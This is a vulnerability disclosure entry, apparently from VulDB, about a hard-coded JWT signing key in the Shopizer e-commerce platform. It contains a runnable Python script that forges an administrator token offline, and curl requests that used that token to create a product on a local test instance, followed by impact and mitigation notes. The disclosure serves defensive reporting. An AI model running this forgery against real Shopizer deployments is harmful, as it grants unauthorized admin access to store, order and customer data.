| عنوان | shopizer-ecommerce shopizer 6a4a0a65a3408ee8f62597b51d1b3aac24b77dee (3.2.7 branch head 2026-11-01; key since 2022 re-baseline) Use of Hard-coded Cryptographic Key |
|---|
| الوصف | 1. Hard-coded signing key.
Shopizer ships with a hard-coded default JWT signing key. The value jwt.secret=aSecret is committed at https://github.com/shopizer-ecommerce/shopizer/blob/6a4a0a65a3408ee8f62597b51d1b3aac24b77dee/sm-core/src/main/resources/authentication.properties#L6 (sm-core/src/main/resources/authentication.properties line 6); jjwt 0.8.0 reduces this 7-character string to a 3-byte effective HMAC key (hex 69279c; derivation in section 3). The value is unchanged from the current history root (052d2ed3, 2022-12-30) through the head of the default branch 3.2.7 (6a4a0a65a3408ee8f62597b51d1b3aac24b77dee, committed 2025-03-23, still head on 2026-11-01) and also exists at the head of the pre-rewrite master branch (b070edbb, 2022-12-30), so releases earlier than the 2022-12-30 history re-baseline are affected as well.
2. My report.
I reported this in https://github.com/shopizer-ecommerce/shopizer/issues/1108 on 2026-07-20; the issue is open as of 2026-11-01 with no maintainer response. In this entry I document the effective key material and a runnable offline-forgery proof of concept that I executed against a local test deployment built from commit 6a4a0a65 (Spring Boot 2.5.12, jjwt 0.8.0, embedded H2; the root pom at that commit still declares version 3.2.5, so the build produced sm-core-3.2.5.jar artifacts carrying the same key). All file and line references are anchored to that commit.
3. Token construction.
The secret is injected via @Value into JWTTokenUtil (sm-shop/src/main/java/com/salesmanager/shop/store/security/JWTTokenUtil.java:50-54) and used for both signing and verification: doGenerateToken signs with signWith(SignatureAlgorithm.HS512, secret) (lines 119-138) and getAllClaimsFromToken verifies with Jwts.parser().setSigningKey(secret).parseClaimsJws(token) (lines 77-82). When jjwt 0.8.0 receives a String key, both calls first apply TextCodec.BASE64.decode, the lenient javax.xml.bind.DatatypeConverter.parseBase64Binary; for aSecret, whose seven characters are all valid base64 characters, the decode consumes only the first complete four-character group aSec, so the effective HMAC key is 3 bytes, hex 69279c (measured with the jjwt-0.8.0.jar from the deployment: KEYLEN=3, KEYHEX=69279c). Issued tokens carry only sub, aud (fixed value api), iat and exp; the parser checks neither iss nor aud, only the signature and standard exp. validateToken (lines 173-187) compares sub with the loaded username and iat with lastPasswordReset, but JWTAdminServicesImpl.java:51-56 leaves that date null, so the password-reset check always passes. AuthenticationTokenFilter.java:99-113 routes /api/v1/private and /api/v2/private requests carrying a Bearer token to the admin authentication manager, which resolves sub via UserRepository.findByUserName (ADMIN_NAME column) and loads that user's roles.
4. Attack process, fully offline with no login call.
I forged the token with Python standard library only; the script reproduces the recorded token byte for byte:
import json, hmac, hashlib, base64
B64 = set("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/")
def jjwt_string_key(secret):
clean = "".join(c for c in secret if c in B64)
usable = clean[: len(clean) // 4 * 4]
return base64.b64decode(usable + "=" * ((4 - len(usable) % 4) % 4))
def b64u(b): return base64.urlsafe_b64encode(b).rstrip(b"=").decode()
key = jjwt_string_key("aSecret") # -> 3 bytes 69279c
header = {"alg": "HS512"}
payload = {"sub": "[email protected]", "aud": "api", "iat": 1793537990, "exp": 1794142790}
h = b64u(json.dumps(header, separators=(",", ":")).encode())
p = b64u(json.dumps(payload, separators=(",", ":")).encode())
sig = b64u(hmac.new(key, (h + "." + p).encode(), hashlib.sha512).digest())
print(h + "." + p + "." + sig)
The jjwt 0.8.0 parser accepted this token and it is byte-identical to a reference token signed with the deployed jjwt-0.8.0.jar at the same fixed iat. The request scripts, exactly as run against the local instance at 127.0.0.1:20033:
curl -sS -i -X POST http://127.0.0.1:20033/api/v1/private/product -H "Authorization: Bearer $(cat token.txt)" -H "Content-Type: application/json" --data @poc_product_shopizer.json
returned HTTP 201 with body {"id":1}, and
curl -sS "http://127.0.0.1:20033/api/v1/products?store=DEFAULT&lang=en"
returned HTTP 200 listing the created product (id 1, sku POC-JWT-FORGERY-20261101, name PoC Product by Forged JWT, price 13.37, quantity 13) on the public catalog. Controls and persistence from the same session: without a token the same write endpoint returns HTTP 401 Unauthorized; a first request whose body omitted the inventory block was answered with HTTP 400 and the business message product must have at least one availability (ProductServiceImpl.java:261-262) — the forged token had cleared the authentication layer and reached business logic. A query of the H2 database file with org.h2.tools.Shell (h2-1.4.200.jar from the deployment) showed the matching rows in PRODUCT (PRODUCT_ID=1, SKU=POC-JWT-FORGERY-20261101, DATE_CREATED 2026-11-01 13:18:28.945), PRODUCT_DESCRIPTION and PRODUCT_AVAILABILITY (QUANTITY=13).
5. Impact.
The key is public, so anyone can mint a token for any account name that resolves against the admin USERS table (sub is matched on ADMIN_NAME), including the default administrator [email protected] present in the test deployment (USER_ID=1). The PoC demonstrates data creation through one protected write endpoint; the forged token authenticates as the administrator, so the remaining admin REST surface under /api/v1/private and /api/v2/private falls under that same role's permissions, exposing catalog, order and customer data. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, base score 9.8 Critical; CWE-321 Use of Hard-coded Cryptographic Key.
6. Mitigation.
Remove the shipped default from authentication.properties and require operators to supply jwt.secret through an environment variable or another external secret store; refuse to start, or at minimum log a prominent warning, when the secret is missing, too short for HS512, or left at the shipped default. Rotate the secret on upgrade; tokens signed with the old default stay valid until expiration. Product homepage: https://github.com/shopizer-ecommerce/shopizer |
|---|
| المصدر | ⚠️ https://github.com/shopizer-ecommerce/shopizer/issues/1108 |
|---|
| المستخدم | dlren (UID 101827) |
|---|
| ارسال | 01/11/2026 02:59 PM (26 أيام منذ) |
|---|
| الاعتدال | 27/11/2026 08:18 PM (26 days later) |
|---|
| الحالة | تمت الموافقة |
|---|
| إدخال VulDB | 444980 [shopizer-ecommerce shopizer حتى 3.2.5 authentication.properties تشفير ضعيف] |
|---|
| النقاط | 20 |
|---|